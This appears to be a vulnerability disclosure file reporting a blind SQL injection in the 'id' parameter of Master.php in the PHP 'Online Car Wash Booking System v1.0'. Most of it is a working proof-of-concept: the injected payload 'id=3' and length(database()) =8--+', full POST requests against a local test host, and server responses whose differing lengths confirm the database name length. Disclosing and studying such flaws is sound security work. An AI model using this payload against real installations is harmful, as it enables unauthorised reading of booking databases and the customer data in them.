debug601 Create SQLi-11.md History

1 contributor

38 lines (26 sloc) | 1.33 KB

Online Car Wash Booking System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html

Vulnerability File: /ocwbs/classes/Master.php?f=get_vehicle_service

Vulnerability location: /ocwbs/classes/Master.php?f=get_vehicle_service, id

Current database name: ocwbs_db,length is 8

[+] Payload: id=3' and length(database()) =8--+ // Leak place ---> id

```
POST /ocwbs/classes/Master.php?f=get_vehicle_service HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/?p=booking
```

```
Content-Length: 34
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close

id=3' and length(database()) =8--+
```

When length (database ()) = 7, Content-Length: 30

```
POST /ocwbs/classes/Master.php?f=get_vehicle_service HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/?p=booking
Content-Length: 34
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close

id=3' and length(database()) =7--+
```

```
HTTP/1.1 200 OK
Date: Thu, 19 May 2022 13:37:30 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 30
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success","data":[]}
```

When length (database ()) = 8, Content-Length: 304

```
POST /ocwbs/classes/Master.php?f=get_vehicle_service HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ocwbs/?p=booking
Content-Length: 34
Cookie: PHPSESSID=qr1o26kvu55cqqitadqht6jna5
Connection: close

id=3' and length(database()) =8--+
```

```
HTTP/1.1 200 OK
Date: Thu, 19 May 2022 13:38:00 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 304
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success","data":[{"name":"Wash","price":"75.00","id":"1","formatted_price":"75.00"},{"name":"Tir

Black","price":"30.00","id":"2","formatted_price":"30.00"},{"name":"Vacuum","price":"20.00","id":"3","forma
ted_price":"20.00"},{"name":"Wax","price":"60.00","id":"4","formatted_price":"60.00"}]}
```